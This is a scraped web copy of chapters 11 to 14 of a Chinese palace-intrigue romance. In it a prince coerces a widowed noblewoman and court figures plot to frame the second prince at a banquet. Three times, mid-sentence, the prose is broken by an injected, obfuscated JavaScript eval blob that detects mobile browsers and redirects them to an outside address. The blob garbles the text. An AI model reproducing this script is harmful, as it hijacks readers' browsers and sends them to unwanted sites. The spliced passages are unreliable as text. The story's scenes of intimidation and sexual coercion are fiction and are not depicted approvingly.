他见有人送了折子过来，料想又是朝中弹劾自家主子的折子，瞥了一眼，果不其然，他太阳穴突突地跳。一连五日，上疏弹劾自家主子的都是同一人，而且好巧不巧，那人还是翰林院的江奉儒，江氏的生父。 常喜肃着神色进了书房，低垂着眉眼将折子呈递到了书案上，等待主子吩咐。 出乎意料地是，陈续宗只掀起眼皮瞟了一眼，接着继续看回面前信笺，手中朱笔落下一行红字，随意吩咐了句：“好生处置着。” 常喜惊得下巴都要掉地上了，主子这意思是……不处置了？ 他头也未抬：“不过是些自诩正义的文人，不足为惧。” 见常喜仍愣在原地，陈续宗冷冷睨他一眼，不耐道：“还不快去。” 常喜一副见了鬼的表情走上前，拿回了桌案上的折子，而后悄声退出了屋。 他站在廊下，心内细细琢磨着，越想越不对劲。王爷虽也不是恣睢必报的性子，但相较从前，他也从未如此轻拿轻放过。 常喜猛地摇了摇头，越发为自己的想法而感到害怕，不过他尚未意识到更令他害怕的还在后头。 先前主子令自己去查二皇子同那江氏之间的过往，他还颇感莫名。一个生在皇宫，一个长在市井，八竿子打不着边的两个人能有什么过往。如今看来，倒是自己想错了。思及此，他越发叹服于主子的心细。 攥着手中厚厚的信封，常喜实在觉得烫手得紧。此事无疑要向王爷禀告，只是眼下并非合适时机。王爷尚在书房内同崔先生谈话，他不便进屋打扰。他心想，便再等候一会儿罢。 书房内暖气烧得足，青烟从鎏金薰炉中缥缈而上。 陈续宗站在书案前，俯身看着地域图：“若是现在将虎豹营调离西疆，先生以为如何？” 崔先生沉吟片刻：“殿下还须三思。” 陈续宗垂眼听着，抬手示意他继续说。 “虎豹营方经历了恶战，若是当即下令将士们跋涉至京城，恐怕他们吃不消啊。更何况圣上如今虽病重，意识却清明着，所以殿下不必急于这一时，倒不如趁着此时养精蓄锐，藏拙守愚。” 他一顿，又觑了眼陈续宗的神色，继续道：“正所谓高筑墙，广积粮，缓称王，所以殿下如今要做的便是一个等字……” 这话的确存了些试探的意思，令他心内并不十分有底。 陈续宗手指从地域图上划过，最后在京城二字上一顿，抬眼看向他。 崔先生连忙低垂下头，心里嘀咕，殿下如今威势渐长，较之昔日长公主不遑多让，更何况当今圣上。思及此处，他心下一凛。是啊，圣上已经时日无多了，更何况世事难料，斗转星移，来日坐在金銮殿上的又何尝不会是自家主子。 只不过主子心思一向难猜，如此想法更不会轻易示于人前，他虽好奇对方所思所想，一向也不敢多问，只能将满腹疑问憋在肚子里。 待常喜见到崔先生面色凝重地从王爷书房中出来时，已近日暮时候了。 他踏入书房的时候，见主子正倚在座椅上，揉着眉心，常喜便知他心中有事，遂静默着站远了些。 却不想陈续宗看向他身后：“你手上拿了什么？” 常喜心中一跳，他直觉此时并非合宜时机，还是依言拿了上前。 陈续宗从常喜手中接过，拆开信笺，翻看着信纸。 常喜不知书信内的内容，只见得主子微皱的眉头。 良久，陈续宗将信纸重又放了回去，示意常喜上前，吩咐：“去查和二皇子有过联系的宣州府官员，将他们的详细信息列成一份名册，绝不可遗漏任何一人。” “还有，把这信笺烧了。”他抬手，常喜恭敬接过。 待他退下之后，书房只余陈续宗一人，他向后仰靠着椅背，指尖随意点着椅袱，眼中眸光沉沉灭灭。查到二皇子私下同地方官员的勾结是这次调查的意外收获。 不过江氏，好像也比他想象之中还要有意思得多。 陈续宗微挑了眉，伸手去拿书案上被压在治策之下的信笺，缓缓展了开来。 这封书信是他那嫁到武安侯府的堂妹前几日写来的。看到那三百两白银的字眼时，他无端轻笑了声，转而又想起常喜今日送来的信笺，嘴角上扬的弧度逐渐淡却。 说什么二皇子过去在宣州府私访的时候，二人颇多联系，甚是亲密。再回想起江氏说的“他不敢”三字，他脸色愈发阴沉。倒也难怪二人会无意流露出对彼此的熟稔，原来是早有前缘。 百转千回的思绪令他啪的一声，随意将手中信纸盖在了书案上。 倒的确是小门小户出身，心比天高，欲壑难填。 书房外侍立的常喜听到屋内的动静之后，也不知自己怎就鬼使神差地进了书房，垂首问道：“殿下有何吩咐？” 陈续宗撑着桌案，冷冷看向常喜，没好气地斥了声：“滚。” 常喜吓得一激灵，准备躬身退下。 “慢着，”陈续宗突然出声，沉思片刻后，淡声吩咐，“去武安侯府一趟，请御史夫人过来。” 被请来的御史夫人一路上眼皮狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040671|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳。 从武安侯府到晋王府的距离说不上远，不过许是心内煎熬的缘故，她这一路难捱得紧。她无心去想晋王究竟是哪根筋搭错了，只觉着说不出的古怪。 进了书房，陈淑芸眼尖，一眼认出陈续宗手中所拿的正是自己前几日所写的那一封书信，心内霎时惊疑不定，难不成晋王今日唤自己前来又是为了江氏？ 强行收了心中思绪，她规矩行了一礼，骤然听他问起父亲近况。 陈淑芸不觉有异，心内暗松了口气，恭敬应答。父亲前段时间方大病初愈。晋王虽是长公主所出，可毕竟也流着陈家的血，关怀父亲也是应当。 若他继续问起陈家人，她还能继续编造理由，欺瞒自己。可当他问起武安侯府的人与事时，陈淑芸不得不警醒，不得不恍然。 她实在有些后知后觉了，晋王今日，分明是醉翁之意不在酒。 脸上的淡笑越来越僵，她颤抖着手去端手边的茶盏，蓦地听见一句：“她近来可还安分？” 语气漫不经心，似是提起府中的阿猫阿狗一般自然。陈淑芸却是如临大敌，再也无法维持表面的镇定自若。 “她……？”陈淑芸手一抖，茶水倾倒了些出来，滴落在她的红宝石戒指之上。 她慌忙拿手帕擦了擦手，掩盖住自己的失态，勉强笑笑：“殿下有所不知，江氏病了有些日子，加之这些日子安哥儿与淳哥儿染了风寒，我日夜照顾他们，倒是未曾留意她的近况。” 虽能隐隐感到那人投射下来的冰冷目光，陈淑芸还是一咬牙，把自己准备好的措辞说了出来。不论如何，她都要试一试。这般身心俱疲和提心吊胆的日子，她再也不想过了。 话音落下，屋内霎时陷入寂静之中。陈淑芸心跳如擂鼓，搭在扶手上的手紧扣着边缘。 就在这时，屋外有人匆匆走来，低声请示，得了陈续宗的应允方出声通禀： “殿下，武安侯府来了人，说是府中小公子突然发了高热，正要寻夫人回去。” 这声通禀实在来得太迟，让她等了太久。 陈淑芸连忙看向屋外，松了口气。同时，她心内不免庆幸，好在自己早有预感，出发前亦有所准备。否则，今日究竟要如何才能离开晋王府，她不敢想，也实在想不出来。 泛白的指尖松开，又攥紧，狠命掐了掐手心，她挂上一副忧愁担心的面孔，撑着扶手起身行了一礼，蹙眉道：“殿下，淳哥儿自幼体弱多病，身子骨弱，我实在忧心，今日便先告辞回府了。” 见那人并无表示，她暗舒口气，转过身，脚下难掩慌乱匆忙。 “最近宫中正在遴选三皇子的伴读。”伴随着茶盖磕碰的声音，身后那人突然开口，不紧不慢道。 陈淑芸呼吸一滞，骤然顿住脚步，愣了好一会儿，一时没能明白他这句没头没尾的话。 陈续宗倚靠着座椅，有一搭没一搭地敲着桌案，似是随意开口问起：“本王记得，安哥儿也要入学了吧。” 陈淑芸猛地抬头。前后联系起来，她霎时就明白了对方的言下之意。 她深吸口气：“殿下说得不错。” 接着陈续宗颇有耐心地过问起她的近况，从姨娘家中情景，到两个儿子即将进学的安排，再到名下庄子经营不善的窘况。 陈淑芸似是有所感动，面上诚惶诚恐，谨慎回答。袖下的手心却掐得生疼。 看似关心，可她岂能不懂，他在拿她的软肋相要挟。所以他越问，她就越是心惊，越是毛骨悚然。 书房内暖气分明烧得足，她却感到彻骨的寒意。她很清楚，这般煎熬，她捱不住的。 陈淑芸没忍住，最终还是问了出来：“殿下究竟想要我做什么？” 12. 第12章 坐在回府的马车上，陈淑芸仍捂着胸口，神思不属。 她如何也想不明白，晋王那句颇有深意的“会有用到你的时候”究竟是什么意思。不过，他许诺给自己的好处毕竟是实打实的，不，确切说来，是真金白银都求不来的。只要他能信守承诺，这就足够了。 如此，账本的窟窿，绣坊的亏空都不足矣烦扰她了，更重要的是，安哥儿还有了入宫作皇子伴读的机会。一想到此处，陈淑芸的双手就激动得发抖。 瞧瞧，她所谓的苦恼在那人面前只是说一句话的事。滔天的权势与绝对的利益面前，她没有不动心的道理。不怪她贪婪，要怪就怪这世道。 亦或者，怪那江氏，怎么偏偏就招惹了晋王。她恨恨地想。 或许是情绪太过激动的缘故，陈淑芸这晚几乎是睁眼到天明。翌日晨起，她瞧着面色憔悴，较平日梳洗打扮多出了半个钟头。正是这期间，屋外丫鬟匆匆进屋通禀：“夫人，宰相府派了人来。” “何事？”她执着梳篦的手一顿。 “说是小姐烦闷得很，请您过去陪她解乏。” 宰相府的小姐……陈淑芸微蹙了眉头，心中意外，倒不知这位又是如何起了意。不过不比晋王，孔家小姐是个好糊弄的主。陈淑芸对此心知肚明。是以她不甚在意，只扶了扶发间玉簪，淡声吩咐：“今日晚些再去我母亲那儿吧。” 碧云会意，连忙出屋安排好前往宰相府的软轿。 到了宰相府，二人却是各有心事，一度相对无言。令陈淑芸更为不安的是，她能隐隐察觉到身边这位即将发作的苗头。 “芸娘，你先前说过要替我想法子，如今过了三月有余，可想出来了？”孔愫垂眼拨弄着绣线，启唇问道，语气疏松平淡。 她问得突然，让陈淑芸愣了好一会儿。 这副模样入了孔愫的眼，让她冷笑一声，啪的一声，将手中绣棚扔在桌上：“想必是从未认真想过，先前种种不过是搪塞我罢了！” 陈淑芸心中连道不好，她可是领教过这位的脾性。 “也是，你如今安安稳稳做起了御史夫人，自然忘了从前做的腌臜事，可我还记得，”孔愫猛然起身，逼得陈淑芸下意识后退，“你说，若是日后安哥儿，淳哥儿知晓他们的母亲竟是与人通奸的娼妇，会不会以你为耻？武安侯府又会如何待你？” 陈淑芸一惊，扑通一声跪在她面前，扯住她的裙角，眼中满是哀求：“他已经死了……莫要再提了。” 孔愫用力甩开她的手，难掩讥讽：“是，他下贱，本就应该去死，毕竟他险些毁了你的所有，令你身败名裂。只是你莫要忘了，当日若无我为你作掩护，你又如何能有今日！” “凭什么你水性杨花，却活得安安稳稳；我终日循规蹈矩，反倒活得惶惶不安。且不说府中庶妹要处处压我一头，便连姑母也要时时要挟我！” 陈淑芸被她拂倒在地，看着她抚掌叹息，宛如疯魔，心中既恨又怕。孔家小姐不是个聪明人，她向来知晓，可这种既傻又疯的人才最是可怕。 她掌心掐得直生疼，强自定了定神，膝行至她身前，声音都在颤抖：“你的恩德我何曾忘记！从前不会，将来更不会。” “法子……”她话音一顿，猛地抬头看向她，“也并非没有。” 孔愫顿了审视她的眼神，狐疑看她：“当真？说来看看。” 她颤着眼睫：“为何没想过生米煮成熟饭呢？” “虽是上不得什么台面的法子，却定能奏效啊。” 是啊，她怎么就未曾想过呢，五日之后正巧是宫宴，一切都是那么地巧合，似是上天为她提前准备好了般。 是以三日后入宫，她几乎是迫不及待地就把这想法讲给了姑母听。 太后坐在榻上，手中拨着珠串，阖眼听完侄女难掩激动的言语，不咸不淡地评价了句：“倒是长进不少。” 还未来得及欣喜，孔愫又听姑母问道：“可有他人知晓此事？” 微不可察的迟疑之后，她一口咬定并未二字。无论如何，她都不能成为姑母手中的弃子。 见姑母微颔了首，孔愫便知这是对自己的回答尚算满意，暗舒了口气。 “杏雪在何处？”太后蓦地想起自己的猫儿，扬声问道。 宫人应声抱来猫儿，太后接过抱到怀里，垂眼逗弄了会儿，对着猫儿道，“黄狸黑狸，得鼠者雄，杏雪，你说是不是？” 怀中的猫儿似是有所感应，抬爪轻轻叫了一声。 “啊？”孔愫本就在走神，没听明白，以为姑母是在和自己说话，巴巴地问了句，“姑母何意？” 太后抚着猫儿的手一顿，看了她一眼，又移开视线：“你先回府罢，接下来听哀家的安排便是。” 送了孔家小姐出殿后，素莲甫一回殿便听见一句：“蠢笨不堪。畜生都听得懂的话，她竟听不明白，”又听主子喟然叹息，“可叹哀家那个弟弟聪明一世，竟养出这么个女儿。” “这还能是她自己想出来的法子么？” 素莲顿下脚步，迟疑会儿方反应过来主子这是在问自己的话，不敢随意接话，太后自然能说得自己的侄女，可她不能，便道：“奴婢不敢妄言，不过奴婢以为，何人所想并不要紧，能否可行才是关系要害。” 太后嗤笑一声：“你倒是乖觉，不过说的也对。” 素莲又问： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040672|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “娘娘，当真要如此做吗？” 太后斜眼睨了她一眼：“不如此，又能如何？” “若说不择手段，晋王做过不择手段的事情多了，哀家此举又算得了什么？更何况哪怕不是愫儿今日主动提起，哀家也恰有此意。”谈及晋王，难免勾起些往事，太后眸色愈发沉冷，脸色也有些难看。 素莲深谙主子脾性，上前抱走猫儿，奉承道：“娘娘思虑周全，说的极是。” 太后抬手，示意她近前，低声吩咐了好几桩事。 看着心腹宫女离去的背影，太后支手揉额，难掩倦色。如今她也老了，越发感到心有余而力不足。可不论如何，前朝还是后宫，孔家都不能后继无人。 不试她又焉能甘心，且赌这一回罢。 . 且说那日陈淑芸浑浑噩噩地回了侯府之后，提心吊胆了好些日子。惶惶不可终日之中，她也并非没有抱有那么一丝一毫的侥幸，不过这侥幸未能幸存太久，她的猜想就在旁敲侧击之下得到了验证。 原来她院内有一丫鬟名唤蓉香，与孔家小姐贴身丫鬟是同乡人，二人素日交好。得了陈淑芸的授意，蓉香私下约那丫鬟吃酒。酒过三巡时，那丫鬟说漏了嘴。她回府后便忙将打探来的消息同陈淑芸一一禀报了。初初听到消息，陈淑芸还六神无主了好一会儿。太后插手其中，还是宫宴那日，这事便不太好办了。 可不论如何，事关晋王，其中利害关系，陈淑芸不会不懂。她不敢耽搁，连忙派心腹将此事禀给晋王。 消息送到晋王府的时候，陈续宗正在净手，仆从在一旁手捧水盆，奉上一条干净的帕子，陈续宗侧身接过。殿内伺候的仆从躬身退下，常喜引了一人入殿。 听完来者的禀报，陈续宗无甚反应，只说了一声知道了。 一旁的常喜却颇不平静：“那老妇人贼心不死！如此算计，又岂能遂了她的意！” “的确不该遂了她的意。”陈续宗慢条斯理地擦了手，将帕子扔回水盆。 常喜在一旁点头应是：“既如此，明日殿下还去行宫赴宴么？” “自然要去。” 他愣了片刻，仍怔怔地问道：“既知有诈，殿下又为何要去？” 陈续宗低头看着信纸慢慢燃尽，眼底眸光起伏沉灭之中，隐约有些不同的情绪：“本王不去，又如何断了她的妄念。” 常喜下意识点点头，太后一向自恃聪明，没少将算盘打到主子身上来。依他看，主子早就应该如此，断了那老妇人的妄念，让她死心才是。 转而偏偏又觉哪处古怪，兀自思索之际，听见主子沉声吩咐： “明日行宫赴宴，你去给杜武传个信。” 13. 第13章 宫宴这日，恰逢连绵阴雨。 虽已过了寒冬时节，如今天气仍然寒冷，早起于江葭而言实在困难。在瑞珠无奈催了好几次的声音之中，她才终于下定决心，掀开衾被，出了床榻，穿戴好衣裙。 瑞珠双手灵巧，极快速地为她绾了一个凌云髻，一边细细挑选着发簪钗环，一边嘴上喋喋不休地念叨。 “姑娘，今儿个宫宴，您可得谨慎些。” 她一字跟着一字，一句接着一句，絮絮叨叨，好不催眠。 江葭最初还听着，到了后来便感觉眼皮子越发地沉重，索性阖眼假寐。 见姑娘那边毫无动静，瑞珠心内有了猜想，蓦地顿下话音，低头看向自家姑娘，果不其然，又睡着了。 “姑娘——” 她无奈，沉沉叹了声，又道：“只怕那二皇子又要私下寻您说话呢。” 闻言，江葭霎时就清醒了过来，再无困意。 她微蹙了眉，走在铜镜前坐下，随意选了一对镶金耳珰：“早知如此，当年在宣州府的时候，我便是整日都待在闺阁之中，大门不出二门不迈也要避着他。” 她对镜看了又看，不甚满意，这对耳珰到底还是张扬了些。 遂只能取了下来，一边将其愤愤地扔在妆奁里，一边懊恼道：“若非他隐瞒身份，我初时又怎会同他产生一丝一毫的纠葛！” 瑞珠只得在一旁安慰：“所幸姑娘谨慎，当时未曾留下任何信物，就算日后他人有心寻错也抓不住任何把柄。” “再者，不论如何您如今也已嫁入侯府，是正正经经的朝廷命妇。任凭是谁，权势有多大，总还是要顾及声誉的，再如何也不敢将手伸入深门大院。您说是不是？” 江葭看着铜镜中的自己，愁眉苦脸地道了声：“你说的是。” 因着时间紧急的缘故，二人没再继续就这个话题聊下去。待一切收拾妥当之后，江葭匆匆地坐上了去往京郊行宫的软轿。 京郊行宫建于太祖年间，其规模不逊于皇宫。饶是江葭已见惯了京城的富贵，甫一抵达行宫仍暗自感叹了番。扶着宫人的手下了软轿，她敛了思绪，随着前来引路的宫人前往大殿。 宴席开场，歌舞笙乐，觥筹交错，宫宴二字听来高贵，说到底还是同旁的宴席无甚分别，本质都是权贵之间的往来罢了。江葭一向不喜这般场合，垂眼微抿了一口杯盏中的果酒，心下估量着还有多久方能回府。 若说这番估量尚算准确，另一番估量则不然。看着面前尚未见底的酒盏，江葭闷闷地想，她大抵还是高估了自己的酒量。 许是殿内暖气烧得足，加之饮了酒的缘故，一场宫宴结束，她觉得头昏得很。 好不容易捱到宫宴结束，又要恭送皇帝太后等人，以免失仪，江葭数不清捏了几回掌心，直到掌心掐得生红，这才同候府女眷出了殿。 可回府的时刻还远远未至。 江葭看着谢老夫人跟着诚国公府的冯老夫人进了一处偏殿，便知女眷之间的交际还有一会儿，心中叹了声，打发身边丫鬟到老夫人面前告了假，老太太知她身子不适，亦没有不允的。 她独自一人走在宫道上。 长长的宫道上少有人行，除了零星几处的宫灯，四周一片黑沉沉，令人没来由地心慌。 侯府的软轿就停在前方不远处，头脑晕晕沉沉，她想坐进软轿歇息一会儿，心中如是想着，脚下步子也快了些。 “夫人。” 江葭蓦地顿下脚步。 宫道上刺骨的风激得她一颤，连带着意识也清明了不少。她起初以为是自己幻听了，可于她而言，这道声音实在算不得陌生。在宣州府时，除了杜武，他也时常跟在二皇子身旁。 鲁忠上前，恭敬行了一礼：“夫人，我家主子想请您去偏殿叙叙旧。” 江葭没看他，不着痕迹地扫了一圈周遭。四下无人，现下所处的位置还被一旁的仪仗挡得干干净净。 她心内暗道不好。 “主子？”江葭无声收了眼神，侧身将他打量一遍，语气漠然，“你家主子是谁？我不曾认识。” 似是未曾料到她如此冷心冷面，鲁忠愣了瞬，眸光也寒凉了几分，沉声：“既如此，若有失礼之处也怪不得我了。” 话音落下，两名膀阔腰圆的仆妇不知从何处闯了出来，眼看着就要冲上来缚住她。 江葭厉声冷喝：“谁敢！” “我夫君是圣上亲自追封的镇北侯！今日谁敢动镇北侯遗孀，明日我就告到御前去！” 不曾想面前看着柔柔弱弱的女子竟是这么个硬茬子，两仆妇被她这阵仗吓得唬住，面面相觑，不敢再靠近她。 鲁忠脸色亦变了好几遭，见她二人仍呆愣在原地，心中恨极，咬牙道：“岂敢对夫人无礼！愣着作甚，还不迅速退下！” 二人自是如蒙大赦，飞奔而去。 鲁忠忍了又忍，缓下声音，在江葭面前赔了不是，又道：“夫人不必多心，殿下见您，不过是说几句体己话罢了。” 江葭冷笑：“什么样的体己话需要你们押着我去说。” 鲁忠一噎，正要开口，却见自己的上司走了过来。 杜武走到江葭面前拱手行了一礼，好生训斥了鲁忠一番，打发他下去后，又赔了一道罪，这才缓下声音： “夫人是否还记得一枚双鱼纹玉佩？您当年落在了宣州府，殿下前些日子找见了，想要亲自归还于您。” 江葭转身的动作一顿。 那枚双鱼纹玉佩不是常物，而是祖母昔年的嫁妆，亦是祖母留给她的念想。被瑞珠不慎遗失后，她遍寻多年而不得，一度以为找回它希望渺茫。 她沉声开了口：“既要归还于我，为何不早些言明？” “玉佩涉及往事，鲁忠并不知情。” 这话倒没说错。鲁忠在弘泰十八年才跟在二皇子身旁伺候，只大致知晓二人的那段过往，旁的却是不知。至于个中细节，江葭也不愿他人知晓。 她微抿了唇，片刻犹豫后还是下定决心：“带我去罢。” 偏殿就在一旁，却较想象之中大了很多。杜武带着江葭七弯八绕，才在一道门槛前停下，为她打起了帘。 江葭走了进去。 殿内昏暗，烛火摇曳。许是黑暗之中嗅觉尤为灵敏的缘故，越往殿内走，就越能闻见弥漫在殿内的香气，浓郁而又怪异，说不上来的古怪。 江葭微蹙了眉，从袖中抽出帕子，捂住口鼻。转过一道屏风，继续向殿内走去，依稀见得床榻上的人影。 这一眼，让她呆愣在原地。 床榻上不止赵钦一人，还躺着一女子，那人她也认识，是太后的侄女，孔家大小姐。二人皆衣衫不整地躺在同一张床榻上，睡得正沉。 江葭当即意识到，这事怕是没有表面这般简单。 她顾不得多想，连忙转身，快步走向殿外。 杜武却早已是不见人影，江葭心中暗恨，到底是自己心切了些，这才中了他人的圈套。 不过，既然不是二皇子要见她，那么又是何人授意杜武将她引至此处来？ 她心中愈发不安，连带着脚下也慌乱了些。 待江葭终于走到殿门处，却见到两扇禁闭的殿门。 她用力去推，却拖拽不动分毫，连忙狠命拽动铁插关，亦是无济于事。 江葭心下霎时就凉了半截。 她不死心，抄起桌案边的烛台就往门锁上砸。 第一下，门锁坚如磐石。 第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040673|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下，仍旧纹风不动。 第三下，第四下，依旧如此。 第五下，她没有泄气，还是猛力砸向门锁。这一回，门锁终于有了松动的迹象。 透过缝隙看见殿外的丝缕月光，江葭简直快要喜极而泣。她不敢放松片刻，连忙再次握紧手中烛台砸向门锁。 砰的一声，门锁没被破开，烛台却骤然断裂，掉落在地。 江葭愣怔地看着地上的烛台，慌神了片刻，随即回过神来，快步跑去桌案旁拿起另一方烛台，又走到门前，扬手就向身前砸去。 这一下，她没砸到锁，砸到了人。 正是扬手砸向门锁的那一刻，殿门被人从外推开，她根本来不及反应，烛台便直直地砸向那人的脸。 双手脱力，烛台咣的一声落了地。她心下惊惧，下意识就往后退，垂在身侧的双手都在哆嗦。 陈续宗抬手抹了一把额角，借着廊檐下的宫灯看清自己手上的血，眸色沉了沉。 他抬眼看向江葭，见她往后退，他就向前走，而后砰地一声关上身后的殿门。 江葭一惊，连忙跑向殿门，却被他抬手拦住。 方才那殿门分明马上就能被她破开，如今却只能眼睁睁看着它再度紧闭，让她焉能不恼恨怨愤？ 她面上难掩愠怒：“殿下这是何意？” “本王倒想问问你，”陈续宗冷笑一声，“此乃皇家宫苑，你在此地既打又砸是何意图？” 江葭后退几步，直视着他，寒声：“殿下何必明知故问？殿门窗楹皆被人从外锁死，我不打不砸，难道在此地坐以待毙不成？” 她强自维持面上的镇定，声线中仍带有不易察觉的颤抖。 “坐以待毙？”陈续宗神色亦沉冷几分，冷笑一声，“若非你自己走入此殿，旁人还能绑了你来不成？” “殿下说的是，”见她顿下话音，就这般领下了自己的过错，陈续宗突觉反常，转而又听她话锋一转： “若非奸人设下圈套，引我入此殿，我又如何会困于此地？” “奸人，”陈续宗唇间咀嚼着这二字，然后笑了，“镇北侯夫人当真是牙尖嘴利。” 江葭脸色微变。 陈续宗缓步走到她身前，似笑非笑地盯视着她，难掩戏谑之意：“若本王告诉你，本王正是你口中的奸人，你当如何？” 他说得玩味，偏偏也说得坦荡。 见她面色发白，仍强自镇定，抿唇不语，陈续宗也不在意，只是俯下身，在她耳旁低语：“本王是奸人，殿内还有一对奸夫淫.妇，你可见着了？” 说罢，不紧不慢向内殿瞥了一眼，意有所指。 江葭不想他为人竟如此无耻，心中暗骂他卑鄙下流，恨声：“殿下何苦将我牵扯入内？” 陈续宗直起身子，盯了她好一会儿，眸光略有幽深：“向来听闻镇北侯夫人聪慧通透，个中缘由都想不明白？” 她眼角泛红，一副不肯说的模样，清冷又倔强，令他无端心下一痒，喉间亦忍不住有些发紧。 陈续宗深深地看了她一眼，眸色晦暗难明，索性直接将话挑明： “他一无所能，何必寻他作倚仗？” “不如来找本王，本王可以给你想要的一切。” 诱之以利，胁之以威，不过如此。 陈续宗一向将此理奉为圭臬，并且屡试不爽，效果极佳。 世人逐利，面对他给予的滔天利益，大多数人便已是抵赖不住。当然，不乏有些硬茬子，这时他再以威势步步紧逼，亦没有不低头的。 不过，对待一个丧夫无子且毫无倚仗的女人，陈续宗并不认为自己需要用到后者。 毕竟他不信，面对这般诱惑，世上又有几人能经受得住。 14. 第14章 听着方才陈续宗说过的话，江葭脑袋嗡嗡作响。 究竟是自己疯了，还是这世道疯了？ 她面容失了色，下意识往后退，连连摇头，声音细如蚊呐：“殿下您喝醉了。” 见她面上只有惊惶畏惧的神色，并无半分因他方才话语而动心的模样，陈续宗脸色愈发阴沉，再无温色，心内原本起的几分兴致也已是悉数散尽。 他负手而立，定定地望着她，目光阴鸷：“你当真不愿？可要想清楚了再回答本王。” 明明不愿二字已经到了嘴边，却觉那人的目光如千钧一般压在自己身上，让她此间话语只得堵在喉间，上下不得。 江葭被盯得浑身汗毛倒竖，只得强掩惊悸：“妾身是朝廷命妇，殿下是皇亲贵胄……如此不合礼法，想是会妨害殿下的名声。” “名声？”陈续宗似是听到笑话一般，嗤笑一声，“你此番倒是提醒本王了。” 他缓缓道：“前些日子，你父亲还上书弹劾本王，说本王结党营私，欺君罔上。” “倒是又为本王添上了几项好名声。” 说完这话，陈续宗好整以暇地看她：“本王这都不同他计较，又怎会介意你再为本王添上一项私德不修的骂名？” 江葭脸色愈发惨白，咬紧牙关，声音打了颤：“妾身自知卑贱，不敢高攀。” 陈续宗心知她这话说得违心，也不戳穿，只摆摆手：“罢了，本王本是好心予你一番造化，你既不知趣，本王亦不强求。” 江葭心下有些不可置信，以为他这厢终于要放过自己，又听他话锋一转： “不过，你可要想清楚，江家护不住你，”他一顿，颇有些意味深长，“至于武安侯府，又能护你多久？” 陈续宗眼微微眯起，俯视着她，眸光渐渐变为凌厉：“所以你最好是重新斟酌一番，究竟是愿还是不愿？本王也只问你这最后一次，既回答了，日后就莫要后悔。” “你只有一息功夫的时间考量。” 江葭悚然一惊。 随即连忙下跪，滚下泪来： “回殿下的话，妾身……并非不愿。” 陈续宗转动扳指的动作骤然一顿，拧眉看她，审视的眸光一寸寸地打量在她面上。 她深吸一口气，指甲深深陷进掌心：“妾身并非不愿，而是不能。” “夫君对朝廷忠心耿耿，圣上亦感念他英勇骁战，亲自追封他为镇北侯，极尽哀荣。您若步步紧逼，不允他的遗孀为他守孝，岂不是有违圣意？” “夫君逝世尚不足五月，而妾身要守满二十七月的孝期，孝期未过，妾身自然不能同您私相授受。” 她低垂脖颈，伏下身子，含泪向他一拜：“还请殿下看在夫君为您出生入死的份上，成全妾身的这番心愿。” 听她频频道来夫君二字，陈续宗眉心不免皱得更深。 他缄默，垂着视线，不错眼地看了她许久，眸色深沉难测，半晌都没有说话。 江葭觉着自己许是有些麻木了，这会儿迎着他的灼热目光，倒也不如前些时候那般难捱。 正是这时，殿外有人叩了门，轻声通禀：“殿下，圣上急召您到金銮殿议事。” 陈续宗没有应答，直到殿外侍从又通传了声，他才收了眼神，冷冷扔下一句“好一个忠贞烈妇”，便不再看她，大步走向殿外。 听见脚步声远去，江葭心内暗舒口气，松了松手心，这才察觉到自己满手的冷汗。 她抬手拭了眼泪，面上的悲恸神情不复存在。正准备撑地起身，余光又瞥见一角绣着万字纹的石青色四爪蟒袍出现在自己面前。 她脊背蓦地一僵。 旋即下颌被人猛地抬起，她不得不抬头同他对视。 “既如此，又何必惺惺作态，不如本王成全你，送你到皇觉寺去，好生为你那亡夫守孝超度，也好全了你们的夫妻情分。” 说罢，松了钳制她的手，径直拂袖而去。 待他走后，江葭浑身脱力，瘫坐在地上愣怔许久，半晌，咬紧牙关，撑着桌案起了身。 她缓慢走出那扇殿门，先看向四周，见软轿仍停放得齐整，便知女眷们的交际尚未结束。 再看向高处与远处，依旧是高高的宫墙与长得望不到尽头的宫道，压抑得紧。 她难免恍惚，这儿的一切和她先前所见并无二样，好似方才只是一场梦。 一场噩梦。 . 这晚回了侯府，江葭睡得很不安稳。 噩梦一场接着一场，就像长长的宫道，永远都看不到尽头，永远也找不到出路。 梦中，她被囚于一处金殿，殿内昏暗，压抑得紧。她想要出殿，可任她如何使尽力气，如何呼喊拍打，殿外始终无人应她。 她心灰意冷，又失了力气，只能躺回到床榻上稍作歇息。 不知过了多久，许是自己都要沉沉睡去，殿外渐渐传来由远及近的脚步声。 似是有人问话，殿外的宫人恭谨作答。随后吱呀一声，殿门被人从外推开。 那脚步声沉稳有力，逐渐走近，逐渐清晰，最后在她身旁停了下来。 她紧闭上眼，不敢动弹。 